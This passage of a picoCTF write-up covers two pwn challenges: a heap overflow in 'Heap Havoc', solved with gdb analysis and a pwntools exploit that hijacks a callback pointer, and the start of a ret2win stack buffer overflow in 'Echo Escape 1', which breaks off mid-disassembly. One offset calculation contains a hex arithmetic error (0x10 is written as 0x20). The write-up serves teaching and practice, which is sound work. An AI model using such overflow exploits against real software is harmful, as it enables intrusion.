&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;plain_bytes &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(c &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; k &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; c, k &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; zip&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(cipher_bytes, cycle(key)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(plain_bytes.decode())&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h1 id=&quot;pwn&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#pwn&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Pwn&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Before entering this section, read this &lt;a href=&quot;https://mks.tw/2968/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8-%E5%BE%9E%E6%AF%AB%E7%84%A1%E5%9F%BA%E7%A4%8E%E9%96%8B%E5%A7%8B-pwn-%E6%A6%82%E5%BF%B5&quot;&gt;article&lt;/a&gt; first—it’ll help a lot, &lt;del&gt;meaning if you have some basics you won’t need me to write this in such detail&lt;/del&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;heap-havoc&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#heap-havoc&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Heap Havoc&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/763?category=6&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;Given a binary and C code&lt;/a&gt;. From the C code:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i1 = malloc(sizeof(struct internet));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i1-&gt;priority = 1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i1-&gt;name = malloc(8);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i1-&gt;callback = NULL;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i2 = malloc(sizeof(struct internet));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i2-&gt;priority = 2;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i2-&gt;name = malloc(8);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i2-&gt;callback = NULL;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;strcpy(i1-&gt;name, argv[1]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;strcpy(i2-&gt;name, argv[2]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;if (i1-&gt;callback) i1-&gt;callback();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;if (i2-&gt;callback) i2-&gt;callback();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before the program ends, &lt;code&gt;i2&lt;/code&gt; will &lt;code&gt;callback()&lt;/code&gt;. If we calculate the distance precisely during input and change &lt;code&gt;callback()&lt;/code&gt; to &lt;code&gt;winner()&lt;/code&gt;, we succeed. But we can’t directly overflow from &lt;code&gt;i1&lt;/code&gt; to &lt;code&gt;i2-&gt;callback()&lt;/code&gt;. After input for &lt;code&gt;i1&lt;/code&gt;, &lt;code&gt;i2&lt;/code&gt; needs input too—if we corrupt &lt;code&gt;i2-&gt;name&lt;/code&gt; address before &lt;code&gt;i2&lt;/code&gt; input, memory error crashes the program. So we need to calculate the distance between them, change &lt;code&gt;i2-&gt;name&lt;/code&gt; to a writable location, then point &lt;code&gt;i2-&gt;callback()&lt;/code&gt; to &lt;code&gt;winner()&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;finding-i1-i2-locations&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#finding-i1-i2-locations&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Finding i1, i2 locations&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ./vuln&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; disas main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// here is only some of assembly code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x080493fb &amp;#x3C;+143&gt;:   add    esp,0x10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x080493fe &amp;#x3C;+146&gt;:   mov    DWORD PTR [ebp-0x1c],eax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049401 &amp;#x3C;+149&gt;:   mov    eax,DWORD PTR [ebp-0x1c]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049404 &amp;#x3C;+152&gt;:   mov    DWORD PTR [eax],0x1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804940a &amp;#x3C;+158&gt;:   sub    esp,0xc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804940d &amp;#x3C;+161&gt;:   push   0x8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804940f &amp;#x3C;+163&gt;:   call   0x8049150 &amp;#x3C;malloc@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049414 &amp;#x3C;+168&gt;:   add    esp,0x10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049417 &amp;#x3C;+171&gt;:   mov    edx,eax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049419 &amp;#x3C;+173&gt;:   mov    eax,DWORD PTR [ebp-0x1c]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804941c &amp;#x3C;+176&gt;:   mov    DWORD PTR [eax+0x4],edx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804941f &amp;#x3C;+179&gt;:   mov    eax,DWORD PTR [ebp-0x1c]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049422 &amp;#x3C;+182&gt;:   mov    DWORD PTR [eax+0x8],0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049429 &amp;#x3C;+189&gt;:   sub    esp,0xc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804942c &amp;#x3C;+192&gt;:   push   0xc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804942e &amp;#x3C;+194&gt;:   call   0x8049150 &amp;#x3C;malloc@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049433 &amp;#x3C;+199&gt;:   add    esp,0x10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049436 &amp;#x3C;+202&gt;:   mov    DWORD PTR [ebp-0x20],eax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x08049439 &amp;#x3C;+205&gt;:   mov    eax,DWORD PTR [ebp-0x20]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0804943c &amp;#x3C;+208&gt;:   mov    DWORD PTR [eax],0x2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From this, &lt;code&gt;i1&lt;/code&gt; is at &lt;code&gt;ebp-0x1c&lt;/code&gt;, &lt;code&gt;i2&lt;/code&gt; is at &lt;code&gt;ebp-0x20&lt;/code&gt;. Set breakpoints to confirm their actual locations— they’re just pointers.&lt;/p&gt;
&lt;h3 id=&quot;use-gdb-to-set-breakpoints-and-print-actual-locations&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#use-gdb-to-set-breakpoints-and-print-actual-locations&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Use gdb to set breakpoints and print actual locations&lt;/h3&gt;
&lt;p&gt;We stop when copying to &lt;code&gt;i1&lt;/code&gt;, observe its actual location:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; b *main+264&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; r AAAA BBBB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; x/wx $ebp-0x1c&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0xffffcefc:     0x0804d5f0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; x/wx $ebp-0x20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0xffffcef8:     0x0804d610&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; x/3wx 0x0804d5f0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x804d5f0:      0x00000001     0x0804d600      0x00000000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              i1 -&gt; priority    i1 -&gt; name      i1 -&gt; callback()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; x/3wx 0x0804d610&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x804d610:      0x00000002      0x0804d620      0x00000000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              i2 -&gt; priority    i2 -&gt; name      i2 -&gt; callback()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After knowing their locations, &lt;code&gt;i1-&gt;name&lt;/code&gt; and &lt;code&gt;i2-&gt;name&lt;/code&gt; distance is 0x0804d610 - 0x0804d600 = 0x20 = 16.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;context.arch &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;i386&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;context.log_level &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;debug&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;foggy-cliff.picoctf.net&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;54943&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;OFFSET&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 20&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;                  ## Here we overwrite i2-&gt;priority so +4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;BSS_ADDR&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0804c888&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;WINNER_ADDR&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;080492b6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload1 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; OFFSET&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p32(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;BSS_ADDR&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p32(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;WINNER_ADDR&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload2 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;SAFE&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload_total &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; payload1 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; payload2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.recvuntil(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Enter two names separated by space:&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.sendline(payload_total)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.interactive()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;echo-escape-1&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#echo-escape-1&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Echo Escape 1&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/755?category=6&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;Given a binary and code&lt;/a&gt;. First look at the code:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#include &amp;#x3C;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#include &amp;#x3C;unistd.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#include &amp;#x3C;string.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;void win() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    FILE *fp = fopen(&quot;flag.txt&quot;, &quot;rb&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if (!fp) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        perror(&quot;[!] Failed to open flag.txt&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        return;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    char buffer[128];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    size_t n = fread(buffer, 1, sizeof(buffer), fp);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    fwrite(buffer, 1, n, stdout);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    fflush(stdout);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    printf(&quot;\n&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    fclose(fp);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;int main() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    char buf[32];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    printf(&quot;Welcome to the secure echo service!\n&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    printf(&quot;Please enter your name: &quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    fflush(stdout);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    read(0, buf, 128);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    printf(&quot;Hello, %s\n&quot;, buf);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    printf(&quot;Thank you for using our service.\n&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    return 0;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Classic ret2win. Buffer declared is only 32 bytes, but &lt;code&gt;read()&lt;/code&gt; accepts 128 bytes. So &lt;a href=&quot;&quot;&gt;Buffer Over Flow&lt;/a&gt; can change return address to &lt;code&gt;win()&lt;/code&gt;. Use gdb to find the target location:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; disas main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Dump of assembler code for function main:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x00000000004012fb &amp;#x3C;+0&gt;:     endbr64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x00000000004012ff &amp;#x3C;+4&gt;:     push   rbp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401300 &amp;#x3C;+5&gt;:     mov    rbp,rsp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401303 &amp;#x3C;+8&gt;:     sub    rsp,0x20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401307 &amp;#x3C;+12&gt;:    lea    rdi,[rip+0xd22]        # 0x402030&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040130e &amp;#x3C;+19&gt;:    call   0x4010e0 &amp;#x3C;puts@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401313 &amp;#x3C;+24&gt;:    lea    rdi,[rip+0xd3a]        # 0x402054&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040131a &amp;#x3C;+31&gt;:    mov    eax,0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040131f &amp;#x3C;+36&gt;:    call   0x401110 &amp;#x3C;printf@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401324 &amp;#x3C;+41&gt;:    mov    rax,QWORD PTR [rip+0x2d4d]        # 0x404078 &amp;#x3C;stdout@@GLIBC_2.2.5&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040132b &amp;#x3C;+48&gt;:    mov    rdi,rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040132e &amp;#x3C;+51&gt;:    call   0x401130 &amp;#x3C;fflush@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401333 &amp;#x3C;+56&gt;:    lea    rax,[rbp-0x20]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401337 &amp;#x3C;+60&gt;:    mov    edx,0x80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040133c &amp;#x3C;+65&gt;:    mov    rsi,rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040133f &amp;#x3C;+68&gt;:    mov    edi,0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401344 &amp;#x3C;+73&gt;:    call   0x401120 &amp;#x3C;read@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401349 &amp;#x3C;+78&gt;:    lea    rax,[rbp-0x20]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040134d &amp;#x3C;+82&gt;:    mov    rsi,rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401350 &amp;#x3C;+85&gt;:    lea    rdi,[rip+0xd16]        # 0x40206d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401357 &amp;#x3C;+92&gt;:    mov    eax,0x0&lt;/span&gt;&lt;/span&gt;
